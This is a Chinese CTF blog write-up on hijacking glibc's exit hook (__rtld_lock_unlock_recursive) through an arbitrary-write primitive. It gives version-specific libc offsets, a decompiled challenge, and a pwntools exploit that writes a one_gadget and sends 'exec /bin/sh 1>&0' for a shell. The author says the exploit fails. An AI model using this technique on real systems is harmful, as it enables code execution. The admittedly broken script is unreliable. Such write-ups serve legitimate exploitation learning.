内容纯手打 如有问题请联系作者

参考https://www.cnblogs.com/bhxdn/p/14222558.html

最近去打了i春秋最新的ctf ---ccs的首届极客少年挑战赛 怎么说呢...... 只能说不算难 也不能说算简单吧 Pwn题出来两题 第一题ret2libc 但是由于某些技术上的问题 没打通 还有一题是堆 的只能说 我堆还不够熟练 需要加以练习 但是 重要的是 最后一题的思路是劫持Free Hook 所以 我就打算写一篇关于这个的+
css.jpg

前言

现在有人听到Exit Hook 可能觉得没啥用 这里首先说一下他的有点

  1. 不管什么安全保护 只需要libc 和 任意读写
  2. 乱杀题那个独一无二的高手(hhhhhhh)
  3. 比较万能

Exit Hook?

啥是 Exit Hook?不知道没关系,因为我之前也不知道 其实 Exit hook就是一个函数 一个程序在Exit也就是退出时所需要的钩子函数 也就是说:如果我们能把Exit Hook 某一些东西更改成我们想要执行的one_gadgets 或者程序 那么我们就可以通过控制程序流 来获得我们需要的效果
image.png

那么 重要的来了;我们通过更改什么才可以控制Exit Hook呢?

**我们找到函数地址存放位置,则__rtld_lock_unlock_recursive为_rtld_global结构题的指针变量。在exit()中执行流程为
exit()->__run_exit_handlers->_dl_fini->__rtld_lock_unlock_recursive
由于__rtld_lock_unlock_recursive存放在结构体空间,为可读可写,那么如果可以修改__rtld_lock_unlock_recursive,就可以在调用exit()时劫持程序流。**

流程图大概是这样:
流程图

大家记不住没关系 其实重要的是我们需要修改exit()函数中特定的一个位置的值 这个位置就是可读可写的__rtld_lock_unlock_recursive 在每一次我们试图退出程序时 我们也会自动的加载这个函数
那么 现在聪明的小伙伴可能就要问了; 怎么寻找这个特定函数的地址呢
答案就是 寻找libc
由于exit是库函数,所以我们也需要在动态加载库 也就是libc中寻找它的身影 而当你确认好了Libc的版本之后
你只需要记住:


在libc-2.23中
exit_hook = libc_base+0x5f0040+3848

exit_hook = libc_base+0x5f0040+3856

在libc-2.27中

exit_hook = libc_base+0x619060+3840

exit_hook = libc_base+0x619060+3848


就可以了 我们可以把exit_hook的值设定成自己想要的任意东西 像One-gadgets , 特定函数都是可以的 ,你甚至可以用libc泄露libc哈哈哈哈哈

说完那么多 我们实践一下把;

题目解析

题目
我是题目 点我!

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  signed int i; // [rsp+4h] [rbp-Ch]
  void *buf; // [rsp+8h] [rbp-8h]

  sleep(0);
  printf("here is a gift %p, good luck ;)\n", &sleep);
  fflush(_bss_start);
  close(1);
  close(2);
  for ( i = 0; i <= 4; ++i )
  {
    read(0, &buf, 8uLL);
    read(0, buf, 1uLL);
  }
  exit(1337);
}

可以看到啊 这个程序的第一时间就把他的Libc泄露出来了 按道理 一般有libc的都是乱杀题 但是这一题又没有溢出点 那咋办呢
别担心 看到for循环这里;

for ( i = 0; i <= 4; ++i )
  {
    read(0, &buf, 8uLL);
    read(0, buf, 1uLL);
  }

在这里 我们可以看到 这个循环一共会循环5次 每一次 他都可以让你输入一个字节 其实 这一题有很多种解法 但是我看来最简单的就是 劫持Exit Hook了

什么是One_gadgets

这里 我们需要补充一个知识点 什么是One gadget 其实 简单的来说 One gadgets 就是一个可以直接获取到shell的一段Gadget ,gadget(s)一般都是从Libc中提取的 虽然用 system + bin/sh 也可以 但是这个比较省事
因为可以直接用One_gadget 程序获得

One_gadget
(One_Gadget 一般都是 5位地址)


好了 知道了 那么多 我们可以开始分享思路了
思路大概如下

思路

思路就和图片中说的一样 还有就是one_gadget是需要测试的

Exp

from pwn import *
from time import sleep

from pwnlib.adb.adb import shell
r = remote("node4.buuoj.cn",26488)
libc = ELF("./libc64.so")
def let_exit_hook(libc_base,version): #根据版本获取exit Hook
    if version == 2.27:
        Address = libc_base + 0x619060 + 3840
        return Address
    elif version == 2.23:
        Address = libc_base +0x5f0040 + 3848
        return Address
r.recvuntil('gift ')
addr = int(r.recv(14),16)
#addr = 0x7fcdac642870
libc_baas = addr - libc.sym['sleep']
exit_hook = let_exit_hook(libc_baas,2.27)
log.success("This is "+ hex(exit_hook))
one_gadgets= p64(libc_baas + 0xf02a4)
shell_addr= exit_hook #libc base + hook address
for i in range(5):
    r.send(p64(shell_addr + i))
    sleep(0.01)
    r.send(one_gadgets[i])        #这个地方是大坑会显示int不能叠加 可能无解                    
    sleep(0.01)
r.sendline("exec /bin/sh 1>&0")
r.interactive()

大概就是这样 问题是无法Getshell 这个exp我写的 思路感觉差不多 但是最后的循环是有问题的 如果有大佬会可以帮一下我 非常感激

最后修改:2021 年 09 月 04 日 05 : 26 PM
如果觉得我的文章对你有用,请随意赞赏